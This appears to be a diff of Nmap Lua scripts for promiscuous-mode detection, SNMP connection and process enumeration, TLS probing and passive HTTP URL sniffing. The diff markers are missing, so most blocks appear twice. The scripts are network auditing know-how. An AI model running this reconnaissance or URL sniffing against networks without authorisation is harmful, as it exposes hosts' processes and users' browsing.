pcap:set_timeout(10 * i*i)
-- ARP requests are send with timeouts: 10ms, 40ms, 90ms
-- before each try, we wait at least 100ms
-- in summary, this test takes at least 100ms and at most 440ms
for i=1,3 do
-- flush buffers :), wait quite long.
repeat
pcap:set_timeout(100)
local test = host.mac_addr_src .. host.mac_addr
status, length, layer2, layer3 = pcap:pcap_receive()
while status and test ~= check(layer2) do
status, length, layer2, layer3 = pcap:pcap_receive()
end
until status ~= true
pcap:set_timeout(10 * i*i)
dnet:ethernet_send(test)
dnet:ethernet_send(test)
local test = host.mac_addr_src .. host.mac_addr
status, length, layer2, layer3 = pcap:pcap_receive()
while status and test ~= check(layer2) do
status, length, layer2, layer3 = pcap:pcap_receive()
end
if status == true then
-- the basic idea, was to inform user about time, when we got packet
-- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
-- but when we're running this tests on macs, first test is always 2.
-- which means that the first answer is dropped.
-- for now, just return 1 if test was successfull, it's easier
-- return(i)
return(1)
end
end
return('_')
local test = host.mac_addr_src .. host.mac_addr
status, length, layer2, layer3 = pcap:pcap_receive()
while status and test ~= check(layer2) do
status, length, layer2, layer3 = pcap:pcap_receive()
end
if status == true then
-- the basic idea, was to inform user about time, when we got packet
-- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
-- but when we're running this tests on macs, first test is always 2.
-- which means that the first answer is dropped.
-- for now, just return 1 if test was successfull, it's easier
-- return(i)
return(1)
end
end
return('_')
end
action = function(host)
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local _
local status
local results = {
['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
['1_______'] = false, -- Old Apple/SunOS/3Com
['1___1_1_'] = false, -- MacOSX(Tiger)
['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt )
['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
['111___1_'] = true, -- WinXP sp2 promisc
-- ['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
}
dnet:ethernet_open(host.interface)
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local _
local status
local results = {
['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
['1_______'] = false, -- Old Apple/SunOS/3Com
['1___1_1_'] = false, -- MacOSX(Tiger)
['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt )
['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
['111___1_'] = true, -- WinXP sp2 promisc
--['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
}
dnet:ethernet_open(host.interface)
pcap:pcap_open(host.interface, 64, false, "arp")
pcap:pcap_open(host.interface, 64, false, "arp")
local test_static = host.mac_addr_src ..
string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) ..
host.mac_addr_src ..
host.bin_ip_src ..
string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) ..
host.bin_ip
local t = {
string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning?
string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31
string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16
string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8
string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning?
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3
}
local v
local out = ""
for _, v in ipairs(t) do
out = out .. do_test(dnet, pcap, host, v .. test_static)
end
local test_static = host.mac_addr_src ..
string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) ..
host.mac_addr_src ..
host.bin_ip_src ..
string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) ..
host.bin_ip
local t = {
string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning?
string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31
string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16
string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8
string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning?
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3
}
local v
local out = ""
for _, v in ipairs(t) do
out = out .. do_test(dnet, pcap, host, v .. test_static)
end
dnet:ethernet_close()
pcap:pcap_close()
dnet:ethernet_close()
pcap:pcap_close()
if out == '1_1___1_' then
return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
end
if results[out] == false then
-- probably not sniffing
return
end
if results[out] == true then
-- rather sniffer.
return 'Likely in promiscuous mode (tests: "' .. out .. '")'
end
if out == '1_1___1_' then
return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
end
if results[out] == false then
-- probably not sniffing
return
end
if results[out] == true then
-- rather sniffer.
return 'Likely in promiscuous mode (tests: "' .. out .. '")'
end
-- results[out] == nil
return 'Unknown (tests: "' .. out .. '")'
-- results[out] == nil
return 'Unknown (tests: "' .. out .. '")'
end

View File

@@ -46,96 +46,96 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- @param base_oid string containing the value of the base_oid of the walk
-- @return table
local function process_answer( tbl, base_oid )
local result = {}
for _, v in ipairs( tbl ) do
local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
local left = (lport and (lip .. ":" .. lport) or lip)
local right= (fport and (fip .. ":" .. fport) or fip)
if ( right or left ) then
table.insert(result, { left = left, right = right })
end
end
return result
local result = {}
for _, v in ipairs( tbl ) do
local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
local left = (lport and (lip .. ":" .. lport) or lip)
local right= (fport and (fip .. ":" .. fport) or fip)
if ( right or left ) then
table.insert(result, { left = left, right = right })
end
end
return result
end
local function format_output(tbl, prefix)
local result = {}
for _, v in ipairs(tbl) do
local value = string.format("%-20s %s", v.left, v.right )
table.insert( result, string.format( "%-4s %s", prefix, value ) )
end
return result
local result = {}
for _, v in ipairs(tbl) do
local value = string.format("%-20s %s", v.left, v.right )
table.insert( result, string.format( "%-4s %s", prefix, value ) )
end
return result
end
local function table_merge( t1, t2 )
for _, v in ipairs(t2) do
table.insert(t1, v)
end
return t1
for _, v in ipairs(t2) do
table.insert(t1, v)
end
return t1
end
local function add_targets(tbl)
if ( not(target.ALLOW_NEW_TARGETS) ) then
return
end
if ( not(target.ALLOW_NEW_TARGETS) ) then
return
end
-- get a list of local IPs
local local_ips = {}
for _, v in ipairs(tbl) do
local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
local_ips[ip] = true
end
-- get a list of local IPs
local local_ips = {}
for _, v in ipairs(tbl) do
local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
local_ips[ip] = true
end
-- identify remote IPs
local remote_ips = {}
for _, v in ipairs(tbl) do
local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
target.add(ip)
end
end
-- identify remote IPs
local remote_ips = {}
for _, v in ipairs(tbl) do
local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
target.add(ip)
end
end
end
action = function(host, port)
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
local udp_oid = "1.3.6.1.2.1.7.5.1.1"
local netstat = {}
local status, tcp, udp
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
local udp_oid = "1.3.6.1.2.1.7.5.1.1"
local netstat = {}
local status, tcp, udp
socket:set_timeout(5000)
try(socket:connect(host, port))
socket:set_timeout(5000)
try(socket:connect(host, port))
status, tcp = snmp.snmpWalk( socket, tcp_oid )
if ( not(status) ) then return end
status, tcp = snmp.snmpWalk( socket, tcp_oid )
if ( not(status) ) then return end
status, udp = snmp.snmpWalk( socket, udp_oid )
if ( not(status) ) then return end
socket:close()
status, udp = snmp.snmpWalk( socket, udp_oid )
if ( not(status) ) then return end
socket:close()
if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
return
end
if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
return
end
tcp = process_answer(tcp, tcp_oid)
add_targets(tcp)
tcp = format_output(tcp, "TCP")
tcp = process_answer(tcp, tcp_oid)
add_targets(tcp)
tcp = format_output(tcp, "TCP")
udp = process_answer(udp, udp_oid)
add_targets(udp)
udp = format_output(udp, "UDP")
udp = process_answer(udp, udp_oid)
add_targets(udp)
udp = format_output(udp, "UDP")
netstat = table_merge( tcp, udp )
netstat = table_merge( tcp, udp )
nmap.set_port_state(host, port, "open")
socket:close()
nmap.set_port_state(host, port, "open")
socket:close()
return stdnse.format_output( true, netstat )
return stdnse.format_output( true, netstat )
end

View File

@@ -52,13 +52,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- @return value of relevant type or nil if oid was not found
function get_value_from_table( tbl, oid )
for _, v in ipairs( tbl ) do
if v.oid == oid then
return v.value
end
end
for _, v in ipairs( tbl ) do
if v.oid == oid then
return v.value
end
end
return nil
return nil
end
--- Processes the table and creates the script output
@@ -67,72 +67,72 @@ end
-- @return table suitable for <code>stdnse.format_output</code>
function process_answer( tbl )
local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
local new_tbl = {}
local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
local new_tbl = {}
for _, v in ipairs( tbl ) do
for _, v in ipairs( tbl ) do
if ( v.oid:match("^" .. swrun_name) ) then
local item = {}
local objid = v.oid:gsub( "^" .. swrun_name, swrun_path)
local value = get_value_from_table( tbl, objid )
if ( v.oid:match("^" .. swrun_name) ) then
local item = {}
local objid = v.oid:gsub( "^" .. swrun_name, swrun_path)
local value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then
table.insert( item, ("Path: %s"):format( value ) )
end
if value and value:len() > 0 then
table.insert( item, ("Path: %s"):format( value ) )
end
objid = v.oid:gsub( "^" .. swrun_name, swrun_params)
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. swrun_name, swrun_params)
value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then
table.insert( item, ("Params: %s"):format( value ) )
end
if value and value:len() > 0 then
table.insert( item, ("Params: %s"):format( value ) )
end
objid = v.oid:gsub( "^" .. swrun_name, swrun_pid)
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. swrun_name, swrun_pid)
value = get_value_from_table( tbl, objid )
if value then
table.insert( item, ("PID: %s"):format( value ) )
end
if value then
table.insert( item, ("PID: %s"):format( value ) )
end
item.name = v.value
table.insert( item, value )
table.insert( new_tbl, item )
end
item.name = v.value
table.insert( item, value )
table.insert( new_tbl, item )
end
end
end
return new_tbl
return new_tbl
end
action = function(host, port)
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
local shares = {}
local status
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
local shares = {}
local status
socket:set_timeout(5000)
try(socket:connect(host, port))
socket:set_timeout(5000)
try(socket:connect(host, port))
status, shares = snmp.snmpWalk( socket, snmpoid )
socket:close()
status, shares = snmp.snmpWalk( socket, snmpoid )
socket:close()
if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
return
end
if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
return
end
shares = process_answer( shares )
shares = process_answer( shares )
nmap.set_port_state(host, port, "open")
nmap.set_port_state(host, port, "open")
return stdnse.format_output( true, shares )
return stdnse.format_output( true, shares )
end

View File

@@ -24,7 +24,7 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe", "default"}
portrule = function(host, port)
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
end
@@ -52,94 +52,94 @@ end
--@return status true if response, false else.
--@return response if status is true.
local client_hello = function(host, port)
local sock, status, response, err, cli_h
local sock, status, response, err, cli_h
-- Craft Client Hello
cli_h = tls.client_hello({
["protocol"] = "TLSv1.0",
["ciphers"] = {
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
"TLS_RSA_WITH_RC4_128_MD5",
},
["compressors"] = {"NULL"},
})
-- Craft Client Hello
cli_h = tls.client_hello({
["protocol"] = "TLSv1.0",
["ciphers"] = {
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
"TLS_RSA_WITH_RC4_128_MD5",
},
["compressors"] = {"NULL"},
})
-- Connect to the target server
local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
-- Connect to the target server
local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
if not specialized_function then
sock = nmap.new_socket()
sock:set_timeout(5000)
status, err = sock:connect(host, port)
if not status then
sock:close()
stdnse.print_debug("Can't send: %s", err)
return false
end
else
status,sock = specialized_function(host,port)
if not status then
return false
end
end
-- Send Client Hello to the target server
status, err = sock:send(cli_h)
if not specialized_function then
sock = nmap.new_socket()
sock:set_timeout(5000)
status, err = sock:connect(host, port)
if not status then
stdnse.print_debug("Couldn't send: %s", err)
sock:close()
return false
sock:close()
stdnse.print_debug("Can't send: %s", err)
return false
end
-- Read response
status, response, err = tls.record_buffer(sock)
else
status,sock = specialized_function(host,port)
if not status then
stdnse.print_debug("Couldn't receive: %s", err)
sock:close()
return false
return false
end
end
return true, response
-- Send Client Hello to the target server
status, err = sock:send(cli_h)
if not status then
stdnse.print_debug("Couldn't send: %s", err)
sock:close()
return false
end
-- Read response
status, response, err = tls.record_buffer(sock)
if not status then
stdnse.print_debug("Couldn't receive: %s", err)
sock:close()
return false
end
return true, response
end
-- extract time from ServerHello response
local extract_time = function(response)
local i, record = tls.record_read(response, 0)
if record == nil then
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
return nil
end
local i, record = tls.record_read(response, 0)
if record == nil then
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
return nil
end
if record.type == "handshake" then
for _, body in ipairs(record.body) do
if body.type == "server_hello" then
return true, body.time
end
if record.type == "handshake" then
for _, body in ipairs(record.body) do
if body.type == "server_hello" then
return true, body.time
end
end
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
return nil
end
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
return nil
end
action = function(host, port)
local status, response
local status, response
-- Send crafted client hello
status, response = client_hello(host, port)
local now = os.time()
if status and response then
-- extract time from response
local result
status, result = extract_time(response)
if status then
local output = {
date = stdnse.format_timestamp(result, 0),
delta = os.difftime(result, now),
}
return output, string.format("%s; %s from local time.", output.date,
stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now)))
end
end
-- Send crafted client hello
status, response = client_hello(host, port)
local now = os.time()
if status and response then
-- extract time from response
local result
status, result = extract_time(response)
if status then
local output = {
date = stdnse.format_timestamp(result, 0),
delta = os.difftime(result, now),
}
return output, string.format("%s; %s from local time.", output.date,
stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now)))
end
end
end

View File

@@ -47,90 +47,90 @@ categories = {"safe", "discovery", "vuln", "default"}
local FINGERPRINT_FILE = "ssl-fingerprints"
local get_fingerprints = function(path)
-- Check registry for cached fingerprints.
if nmap.registry.ssl_fingerprints then
stdnse.print_debug(2, "Using cached SSL fingerprints.")
return true, nmap.registry.ssl_fingerprints
end
-- Check registry for cached fingerprints.
if nmap.registry.ssl_fingerprints then
stdnse.print_debug(2, "Using cached SSL fingerprints.")
return true, nmap.registry.ssl_fingerprints
end
-- Attempt to resolve path if it is relative.
local full_path = nmap.fetchfile("nselib/data/" .. path)
if not full_path then
full_path = path
end
stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path)
-- Attempt to resolve path if it is relative.
local full_path = nmap.fetchfile("nselib/data/" .. path)
if not full_path then
full_path = path
end
stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path)
-- Open database.
local file = io.open(full_path, "r")
if not file then
return false, "Failed to open file " .. full_path
end
-- Open database.
local file = io.open(full_path, "r")
if not file then
return false, "Failed to open file " .. full_path
end
-- Parse database.
local section = nil
local fingerprints = {}
for line in file:lines() do
line = line:gsub("#.*", "")
line = line:gsub("^%s*", "")
line = line:gsub("%s*$", "")
if line ~= "" then
if line:sub(1,1) == "[" then
-- Start a new section.
line = line:sub(2, #line - 1)
stdnse.print_debug(4, "Starting new section %s.", line)
section = line
elseif section ~= nil then
-- Add fingerprint to section.
local fingerprint = bin.pack("H", line)
if #fingerprint == 20 then
fingerprints[fingerprint] = section
stdnse.print_debug(4, "Added key %s to database.", line)
else
stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section)
end
else
-- Key found outside of section.
stdnse.print_debug(1, "Key %s is not in a section.", line)
end
end
end
-- Parse database.
local section = nil
local fingerprints = {}
for line in file:lines() do
line = line:gsub("#.*", "")
line = line:gsub("^%s*", "")
line = line:gsub("%s*$", "")
if line ~= "" then
if line:sub(1,1) == "[" then
-- Start a new section.
line = line:sub(2, #line - 1)
stdnse.print_debug(4, "Starting new section %s.", line)
section = line
elseif section ~= nil then
-- Add fingerprint to section.
local fingerprint = bin.pack("H", line)
if #fingerprint == 20 then
fingerprints[fingerprint] = section
stdnse.print_debug(4, "Added key %s to database.", line)
else
stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section)
end
else
-- Key found outside of section.
stdnse.print_debug(1, "Key %s is not in a section.", line)
end
end
end
-- Close database.
file:close()
-- Close database.
file:close()
-- Cache fingerprints in registry for future runs.
nmap.registry.ssl_fingerprints = fingerprints
-- Cache fingerprints in registry for future runs.
nmap.registry.ssl_fingerprints = fingerprints
return true, fingerprints
return true, fingerprints
end
portrule = shortport.ssl
action = function(host, port)
-- Get script arguments.
local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
local status, result = get_fingerprints(path)
if not status then
stdnse.print_debug(1, result)
return
end
local fingerprints = result
-- Get script arguments.
local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
local status, result = get_fingerprints(path)
if not status then
stdnse.print_debug(1, result)
return
end
local fingerprints = result
-- Get SSL certificate.
local status, cert = sslcert.getCertificate(host, port)
if not status then
stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert)
return
end
local fingerprint = cert:digest("sha1")
local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
-- Get SSL certificate.
local status, cert = sslcert.getCertificate(host, port)
if not status then
stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert)
return
end
local fingerprint = cert:digest("sha1")
local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
-- Check SSL fingerprint against database.
local section = fingerprints[fingerprint]
if not section then
stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt)
return
end
-- Check SSL fingerprint against database.
local section = fingerprints[fingerprint]
if not section then
stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt)
return
end
return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
end

View File

@@ -70,7 +70,7 @@ end
prerule = function()
return nmap.is_privileged() and
(stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
(stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
end

View File

@@ -51,94 +51,94 @@ portrule = shortport.ssl
--@return status true if response, false else.
--@return response if status is true.
local client_hello = function(host, port)
local sock, status, response, err, cli_h
local sock, status, response, err, cli_h
cli_h = tls.client_hello({
["protocol"] = "TLSv1.0",
["ciphers"] = {
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
"TLS_RSA_WITH_RC4_128_MD5",
},
["compressors"] = {"NULL"},
["extensions"] = {
["next_protocol_negotiation"] = "",
},
})
cli_h = tls.client_hello({
["protocol"] = "TLSv1.0",
["ciphers"] = {
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
"TLS_RSA_WITH_RC4_128_MD5",
},
["compressors"] = {"NULL"},
["extensions"] = {
["next_protocol_negotiation"] = "",
},
})
-- Connect to the target server
sock = nmap.new_socket()
sock:set_timeout(5000)
status, err = sock:connect(host, port)
if not status then
sock:close()
stdnse.print_debug("Can't send: %s", err)
return false
end
-- Connect to the target server
sock = nmap.new_socket()
sock:set_timeout(5000)
status, err = sock:connect(host, port)
if not status then
sock:close()
stdnse.print_debug("Can't send: %s", err)
return false
end
-- Send Client Hello to the target server
status, err = sock:send(cli_h)
if not status then
stdnse.print_debug("Couldn't send: %s", err)
sock:close()
return false
end
-- Send Client Hello to the target server
status, err = sock:send(cli_h)
if not status then
stdnse.print_debug("Couldn't send: %s", err)
sock:close()
return false
end
-- Read response
status, response, err = tls.record_buffer(sock)
if not status then
stdnse.print_debug("Couldn't receive: %s", err)
sock:close()
return false
end
-- Read response
status, response, err = tls.record_buffer(sock)
if not status then
stdnse.print_debug("Couldn't receive: %s", err)
sock:close()
return false
end
return true, response
return true, response
end
--- Function that checks for the returned protocols to a npn extension request.
--@args response Response to parse.
--@return results List of found protocols.
local check_npn = function(response)
local i, record = tls.record_read(response, 0)
if record == nil then
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
local i, record = tls.record_read(response, 0)
if record == nil then
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
return nil
end
if record.type == "handshake" and record.body[1].type == "server_hello" then
if record.body[1].extensions == nil then
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
return nil
end
if record.type == "handshake" and record.body[1].type == "server_hello" then
if record.body[1].extensions == nil then
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
return nil
end
local results = {}
local npndata = record.body[1].extensions["next_protocol_negotiation"]
if npndata == nil then
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
return nil
end
-- Parse data
i = 0
local protocol
while i < #npndata do
i, protocol = bin.unpack(">p", npndata, i)
table.insert(results, protocol)
end
return results
else
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
local results = {}
local npndata = record.body[1].extensions["next_protocol_negotiation"]
if npndata == nil then
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
return nil
end
-- Parse data
i = 0
local protocol
while i < #npndata do
i, protocol = bin.unpack(">p", npndata, i)
table.insert(results, protocol)
end
return results
else
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
return nil
end
end
action = function(host, port)
local status, response
local status, response
-- Send crafted client hello
status, response = client_hello(host, port)
if status and response then
-- Analyze response
local results = check_npn(response)
return results
end
-- Send crafted client hello
status, response = client_hello(host, port)
if status and response then
-- Analyze response
local results = check_npn(response)
return results
end
end

View File

@@ -39,51 +39,51 @@ categories = {"safe"}
local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface")
prerule = function()
local has_interface = ( arg_iface ~= nil )
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
if ( not(has_interface) ) then
stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME)
return false
end
return true
local has_interface = ( arg_iface ~= nil )
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
if ( not(has_interface) ) then
stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME)
return false
end
return true
end
-- we should probably leverage code from the http library, but those functions
-- are all declared local.
local function get_url(data)
local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data))
if ( not(headers) ) then
return
end
headers = stdnse.strsplit("\r\n", headers)
if ( not(headers) or 1 > #headers ) then
return
end
local parsed = {}
parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
if ( not(parsed.path) ) then
return
end
for _, v in ipairs(headers) do
parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
if ( parsed.host ) then
break
end
end
if ( not(parsed.host) ) then
return
end
parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
parsed.scheme = "http"
local u = url.build(parsed)
if ( not(u) ) then
return
end
return u
local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data))
if ( not(headers) ) then
return
end
headers = stdnse.strsplit("\r\n", headers)
if ( not(headers) or 1 > #headers ) then
return
end
local parsed = {}
parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
if ( not(parsed.path) ) then
return
end
for _, v in ipairs(headers) do
parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
if ( parsed.host ) then
break
end
end
if ( not(parsed.host) ) then
return
end
parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
parsed.scheme = "http"
local u = url.build(parsed)
if ( not(u) ) then
return
end
return u
end
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
@@ -92,54 +92,54 @@ local arg_nostdout= stdnse.get_script_args(SCRIPT_NAME..".nostdout")
local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile")
local function log_entry(src_ip, url)
local outfd = io.open(arg_outfile, "a")
if ( outfd ) then
local entry = ("%s\t%s\r\n"):format(src_ip, url)
outfd:write(entry)
outfd:close()
end
local outfd = io.open(arg_outfile, "a")
if ( outfd ) then
local entry = ("%s\t%s\r\n"):format(src_ip, url)
outfd:write(entry)
outfd:close()
end
end
action = function()
local counter = 0
local counter = 0
if ( arg_outfile ) then
local outfd = io.open(arg_outfile, "a")
if ( not(outfd) ) then
return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
end
outfd:close()
end
if ( arg_outfile ) then
local outfd = io.open(arg_outfile, "a")
if ( not(outfd) ) then
return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
end
outfd:close()
end
local socket = nmap.new_socket()
socket:set_timeout(1000)
socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
local socket = nmap.new_socket()
socket:set_timeout(1000)
socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
local start, stop = os.time()
repeat
local status, len, _, l3 = socket:pcap_receive()
if ( status ) then
local p = packet.Packet:new( l3, #l3 )
local pos = p.tcp_data_offset + 1
local http_data = p.buf:sub(pos)
local start, stop = os.time()
repeat
local status, len, _, l3 = socket:pcap_receive()
if ( status ) then
local p = packet.Packet:new( l3, #l3 )
local pos = p.tcp_data_offset + 1
local http_data = p.buf:sub(pos)
local url = get_url(http_data)
if ( url ) then
counter = counter + 1
if ( not(arg_nostdout) ) then
print(p.ip_src, url)
end
if ( arg_outfile ) then
log_entry(p.ip_src, url)
end
end
end
if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
stop = os.time()
break
end
until(false)
if ( counter > 0 ) then
return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
end
local url = get_url(http_data)
if ( url ) then
counter = counter + 1
if ( not(arg_nostdout) ) then
print(p.ip_src, url)
end
if ( arg_outfile ) then
log_entry(p.ip_src, url)
end
end
end
